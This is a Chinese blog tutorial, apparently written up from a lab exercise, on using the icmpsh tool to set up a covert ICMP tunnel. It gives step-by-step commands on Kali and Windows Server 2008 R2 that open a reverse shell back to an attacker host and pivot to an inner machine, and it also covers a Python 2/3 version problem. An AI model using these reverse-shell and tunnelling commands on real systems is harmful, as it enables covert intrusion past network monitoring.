浅谈内网工具ICMP的使用以及遇到的坑

内网渗透之隐藏通信隧道ICMP协议以及ICMP工具的使用

ICMP的使用简介
-t host :要向其发送ping请求的主机ip地址。此选项是必需的!

-r:发送一个包含字符串“Test1234”的测试icmp请求,然后退出。这是用来测试连接的。

-d milliseconds:请求之间的延迟(毫秒)

-o milliseconds:毫秒响应超时(毫秒)。如果没有及时收到回复,奴隶将增加一个空白计数器。如果计数器达到某个限制,则从机将退出。如果收到响应,计数器将被设置回0。

-b num :空白数限制(退出前未应答的icmp请求

-s bytes :最大数据缓冲区大小(字节)
同样的我们使用如下图的网络环境
浅谈内网工具ICMP的使用以及遇到的坑
这里我们没有建立防火墙,所以,我们不做穿透防火墙的演示,我们所演示的是利用kali安装的kali攻击机和windows 2008 R2的web服务器建立icmp隧道连接之后,来ping通windows 7 的1.1.1.4地址
总所周知,ICMP的使用,是需要python的环境,所以,我们使用kali 的环境是python 3 !!!(这里是一个坑)
照常,在kali上安装ICMP工具
第一步:root@kali:~# Git clone htpps://github.com/inquisb/icmpsh.git
第二部:安装impacket第三类库
首先要查看有没有安装
可使用 pip list 命令来查看我们的python安装了哪些库
root@kali: pip list
浅谈内网工具ICMP的使用以及遇到的坑
结果如图,如果出现了impacket的话,就不用重新安装impacket库了,如果没有的话,则使用
apt-get install python-impacket
命令安装,安装完成后,输入
Sysctl -w net.ipv4.icmp_echo_ignore_all=1
来关闭内核ping的响应,(注意,这里是我们能ping其他主机,但是其他主机不能ping自己)
设置之后
我们icmp的目录下输入
python icmpsh_m.py 192.168.206.131(攻击机IP) 192.168.206.129(内网地址IP)
这样就能监听了,但是!!!坑来了,还记得我们之前说过的我运用的是python3 环境吗,
我们在python3 的环境中运行 python icmpsh_m.py 攻击机IP 内网地址IP地址 会运行报错,就出现如下
浅谈内网工具ICMP的使用以及遇到的坑
出现如下报错之后,我查了比较多的文件,其实没有得到答案,然后,我查看了自己的python版本,发现我用的是python3的版本,所以,我就修改了一下改成了python2的版本
浅谈内网工具ICMP的使用以及遇到的坑
切换python版本的命令是
update-alternatives --install /usr/bin/python python /usr/bin/python2 100

update-alternatives --install /usr/bin/python python /usr/bin/python3 150
想切换那个环境就直接在后面的100 和150替换就行了,哪个python环境后面的值高,就会切换到哪一个,后面我改成了python2的环境
就是输入
update-alternatives --install /usr/bin/python python /usr/bin/python2 150

update-alternatives --install /usr/bin/python python /usr/bin/python3 100
就变成了python2的环境,变成python2的环境之后,我尝试直接运行
root@kali:~/Downloads/icmpsh# python ./icmpsh_m.py 192.168.206.131 192.168.206.129
开始监听,然后等待目标主机的连接
windows 2008 R2 下载icmp之后,我们不用像kali这么复杂,直接在icmp目录运行
icmp.exe -t 192.168.206.131 -d 500 -b 30 -s 128
然后我们就能获得目标主机(192.168.206.129的shell了)
windows 2008 R2输入
浅谈内网工具ICMP的使用以及遇到的坑
kali即可接收到shell
浅谈内网工具ICMP的使用以及遇到的坑
成功连接目标主机(192.168.206.129),尝试ping windows 7 机器 1.1.1.4
浅谈内网工具ICMP的使用以及遇到的坑
成功,实验完成
记得重新出入
Sysctl -w net.ipv4.icmp_echo_ignore_all=0哦

总结

在运行ICMP工具中,需要使用python2 的环境,python3的环境会出错,python2相对来说比较稳点
做得比较简易且粗糙,如果有帮助到各位师傅的,不胜荣幸

上一篇:python中pip的安装问题


下一篇:Python3和Python2共用